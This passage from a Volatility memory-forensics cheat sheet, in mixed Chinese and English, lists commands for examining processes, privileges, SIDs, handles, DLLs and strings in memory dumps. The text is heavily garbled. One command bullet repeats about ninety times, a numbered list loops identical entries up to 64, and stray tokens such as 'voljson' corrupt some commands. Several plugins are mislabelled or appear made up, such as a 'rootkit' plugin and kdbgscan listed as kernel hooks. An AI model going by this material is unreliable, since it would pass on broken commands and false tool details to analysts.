* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Dumping a Process**
  * \`volatility -f \<memory\_dump> --profile= memdump -p -D <

```bash
#Get enabled privileges of some processes
volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled
#Get all processes with interesting privileges
volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
```

#### SIDs

检查每个进程拥有的SSID。\
列出使用特权SID的进程（以及使用某些服务SID的进程）可能会很有趣。

```bash
./vol.py -f file.dmp windows.getsids.GetSIDs [--pid <pid>] #Get SIDs of processes
./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping Registry Hives**
  * `voljson -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`

**Advanced Commands**

* **Analyzing a Process**
  * `volatility -f <memory_dump> --profile=<profile> pstree -p <pid>`
* **Extracting DLLs** json
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`
* **Analyzing Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`

**Plugin Development**

* **Creating a New Plugin**
  * Create a new Python file in the `volatility/plugins` directory
  * Implement the plugin using the Volatility API
  * Use the `vol.py` command with the `--plugins` option to load the custom plugin

```bash
volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process
volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service
```

### 句柄

有助于了解进程打开了哪些其他文件、密钥、线程、进程...

```bash
vol.py -f file.dmp windows.handles.Handles [--pid <pid>]
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `voljson -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`

#### Plugin Development

* **Creating a New Plugin**
  * Refer to the official [Volatility Plugin Development Guide](https://github.com/volatilityfoundation/volatility3/blob/master/README.md#developing-plugins)
* **Compiling Plugins**
  * `python vol.py --plugins=<plugin_directory>`
* **Using Custom Plugins**
  * `volatility --plugins=<custom_plugin_directory> -f <memory_dump> <custom_plugin_name>`

```bash
volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=<pid>]
```

### DLLs

```bash
./vol.py -f file.dmp windows.dlllist.DllList [--pid <pid>] #List dlls used by each
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid <pid> #Dump the .exe and dlls of the process in the current directory process
```

#### Volatility Cheat Sheet

**Basic Forensic Methodology**

1. **Memory Dump Analysis**
   * **Identify Profile**: `vol.py -f memory_dump.raw imageinfo`
   * **Analyze Processes**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist`
   * **Analyze DLLs**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist`
   * **Analyze Handles**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 handles`
   * **Analyze Registry**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 printkey -K "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`
   * **Analyze Network Connections**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan`
   * **Analyze Drivers**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 driverscan`
   * **Analyze Mutants**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mutantscan`
   * **Analyze Sockets**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 sockets`
   * **Analyze Autostart Locations**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 autoruns`
2. **File Analysis**
   * **Analyze MFT**: `vol.py -f memory_dump.raw --profile=Win7SPjson1 mftparser`
   * **Analyze File Metadata**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 filescan`
3. **Timeline Analysis**
   * **Create Timeline**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mactime`
4. **Malware Analysis**
   * **Analyze Malware**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 malfind`
5. **Rootkit Detection**
   * **Detect Rootkits**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 rootkit`
6. **Memory Analysis**
   * **Analyze Memory**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 memmap`
7. **User Analysis**
   * **AnAnalyze Users**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 userassist`
8. **Registry Analysis**
   * **Analyze Registry**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 printkey -K "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`
9. **Network Analysis**
   * **Analyze Network**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan`
10. **Process Analysis**
    * **Analyze Processes**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist`
11. **DLL Analysis**
    * **Analyze DLLs**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist`
12. **Handle Analysis**
    * **Analyze Handles**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 handles`
13. **Driver Analysis**
    * **Analyze Drivers**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 driverscan`
14. **Mutant Analysis**
    * **Analyze Mutants**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mutantscan`
15. **Socket Analysis**
    * **Analyze Sockets**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 sockets`
16. **Autostart Analysis**
    * **Analyze Autostart Locations**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 autoruns`
17. **MFT Analysis**
    * **Analyze MFT**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mftparser`
18. **File Metadata Analysis**
    * **Analyze File Metadata**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 filescan`
19. **Timeline Creation**
    * **Create Timeline**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mactime`
20. **Malware Analysis**
    * **Analyze Malware**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 malfind`
21. **Rootkit Detection**
    * **Detect Rootkits**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 rootkit`
22. **Memory Analysis**
    * **Analyze Memory**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 memmap`
23. **User Analysis**
    * **Analyze Users**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 userassist`
24. **Registry Analysis**
    * **Analyze Registry**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 printkey -K "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`
25. **Network Analysis**
    * **Analyze Network**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan`
26. **Process Analysis**
    * **Analyze Processes**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist`
27. **DLL Analysis**
    * **Analyze DLLs**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist`
28. **Handle Analysis**
    * **Analyze Handles**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 handles`
29. **Driver Analysis**
    * **Analyze Drivers**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 driverscan`
30. **Mutant Analysis**
    * **Analyze Mutants**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mutantscan`
31. **Socket Analysis**
    * **Analyze Sockets**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 sockets`
32. **Autostart Analysis**
    * **Analyze Autostart Locations**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 autoruns`
33. **MFT Analysis**
    * **Analyze MFT**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mftparser`
34. **File Metadata Analysis**
    * **Analyze File Metadata**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 filescan`
35. **Timeline Creation**
    * **Create Timeline**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mactime`
36. **Malware Analysis**
    * **Analyze Malware**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 malfind`
37. **Rootkit Detection**
    * **Detect Rootkits**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 rootkit`
38. **Memory Analysis**
    * **Analyze Memory**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 memmap`
39. **User Analysis**
    * **Analyze Users**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 userassist`
40. **Registry Analysis**
    * **Analyze Registry**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 printkey -K "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`
41. **Network Analysis**
    * **Analyze Network**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan`
42. **Process Analysis**
    * **Analyze Processes**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist`
43. **DLL Analysis**
    * **Analyze DLLs**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist`
44. **Handle Analysis**
    * **Analyze Handles**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 handles`
45. **Driver Analysis**
    * **Analyze Drivers**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 driverscan`
46. **Mutant Analysis**
    * **Analyze Mutants**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mutantscan`
47. **Socket Analysis**
    * **Analyze Sockets**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 sockets`
48. **Autostart Analysis**
    * **Analyze Autostart Locations**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 autoruns`
49. **MFT Analysis**
    * **Analyze MFT**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mftparser`
50. **File Metadata Analysis**
    * **Analyze File Metadata**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 filescan`
51. **Timeline Creation**
    * **Create Timeline**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mactime`
52. **Malware Analysis**
    * **Analyze Malware**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 malfind`
53. **Rootkit Detection**
    * **Detect Rootkits**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 rootkit`
54. **Memory Analysis**
    * **Analyze Memory**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 memmap`
55. **User Analysis**
    * **Analyze Users**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 userassist`
56. **Registry Analysis**
    * **Analyze Registry**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 printkey -K "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"`
57. **Network Analysis**
    * **Analyze Network**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 netscan`
58. **Process Analysis**
    * **Analyze Processes**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 pslist`
59. **DLL Analysis**
    * **Analyze DLLs**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 dlllist`
60. **Handle Analysis**
    * **Analyze Handles**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 handles`
61. **Driver Analysis**
    * **Analyze Drivers**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 driverscan`
62. **Mutant Analysis**
    * **Analyze Mutants**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 mutantscan`
63. **Socket Analysis**
    * **Analyze Sockets**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 sockets`
64. **Autostart Analysis**
    * **Analyze Autostart Locations**: `vol.py -f memory_dump.raw --profile=Win7SP1x64 autoruns`

```bash
volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc
volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc
```

### 每个进程的字符串

Volatility允许我们检查一个字符串属于哪个进程。

```bash
strings file.dmp > /tmp/strings.txt
./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `voljson -f <memory_dump> --profile=<profile> netscan`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> --dump-dir=<output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry** json
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Drivers**
  * `voljson -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Mutantscan**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Yarascan**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing LDR Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Privilege Rights**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Kernel Hooks**
  * `volatility -f <memory_dump> --profile=<profile> kdbgscan`
* **Analyzing Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Analyzing GDI Tables**
  * `volatility -f <memory_dump> --profile=<profile> gditimers`
* **Analyzing GDI Shared Handles**
  * `volatility -f <memory_dump> --profile=<profile> gdiview`
* **Analyzing GDI Objects**
  * `volatility -f <memory_dump> --profile=<profile> gdiobjects`
* **Analyzing Atom Tables**
  * `volatility -f <memory_dump> --profile=<profile> atomscan`
* **Analyzing Desktops**
  * `volatility -f <memory_dump> --profile=<profile> desktops`
* **Analyzing Windows Stations**
  * `volatility -f <memory_dump> --profile=<profile> windows`
* **Analyzing Sessions**
  * `volatility -f <memory_dump> --profile=<profile> sessions`
* **Analyzing Printers**
  * `volatility -f <memory_dump> --profile=<profile> printers`
* **Analyzing Shimcache**
  * `volatility -f <memory_dump> --profile=<profile> shimcache`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MFT**
  * `volatility -f <memory_dump> --profile=<profile> mftparser`
* **Analyzing TrueCrypt Keys**
  * `volatility -f <memory_dump> --profile=<profile> truecryptmaster`
* **Analyzing Bitlocker Keys**
  * `volatility -f <memory_dump> --profile=<profile> bitlockermemory`
* **Analyzing LUKS Keys**
  * `volatility -f <memory_dump> --profile=<profile> luksmeta`
* **Analyzing Chrome Extensions**
  * `volatility -f <memory_dump> --profile=<profile> chromehistory`
* **Analyzing Firefox Extensions**
  * `volatility -f <memory_dump> --profile=<profile> firefoxhistory`
* **Analyzing IE History**
  * `volatility -f <memory_dump> --profile=<profile> iehistory`
* **Analyzing LSA Secrets**
  * `volatility -f <memory_dump> --profile=<profile> lsadump`
* **Analyizing Hashdump**
  * `volatility -f <memory_dump> --profile=<profile> hashdump`
* **Analyzing User Assist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MBR**
  * `volatility -f <memory_dump> --profile=<profile> mbrparser`
* **Analyzing VBR**
  * `volatility -f <memory_dump> --profile=<profile> vbrparser`
* **Analyzing Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive**
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing User Profiles**
  * `volatility -f <memory_dump> --profile=<profile> userprofiles`
* **Analyzing PEB**
  * `volatility -f <memory_dump> --profile=<profile> peb`
* **Analyzing Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Yara Rules**
  * `volatility -f <memory_dump> --profile=<profile> yarascan`
* **Analyzing API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing LDR Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing User Handles**
  * `volatility -f <memory_dump> --profile=<profile> userhandles`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyizing Privilege Rights**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Kernel Hooks**
  * `volatility -f <memory_dump> --profile=<profile> kdbgscan`
* **Analyzing Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Analyzing GDI Tables**
  * `volatility -f <memory_dump> --profile=<profile> gditimers`
* **Analyzing GDI Shared Handles**
  * `volatility -f <memory_dump> --profile=<profile> gdiview`
* **Analyzing GDI Objects**
  * `volatility -f <memory_dump> --profile=<profile> gdiobjects`
* **Analyzing Atom Tables**
  * `volatility -f <memory_dump> --profile=<profile> atomscan`
* **Analyzing Desktops**
  * `volatility -f <memory_dump> --profile=<profile> desktops`
* **Analyzing Windows Stations**
  * `volatility -f <memory_dump> --profile=<profile> windows`
* **Analyzing Sessions**
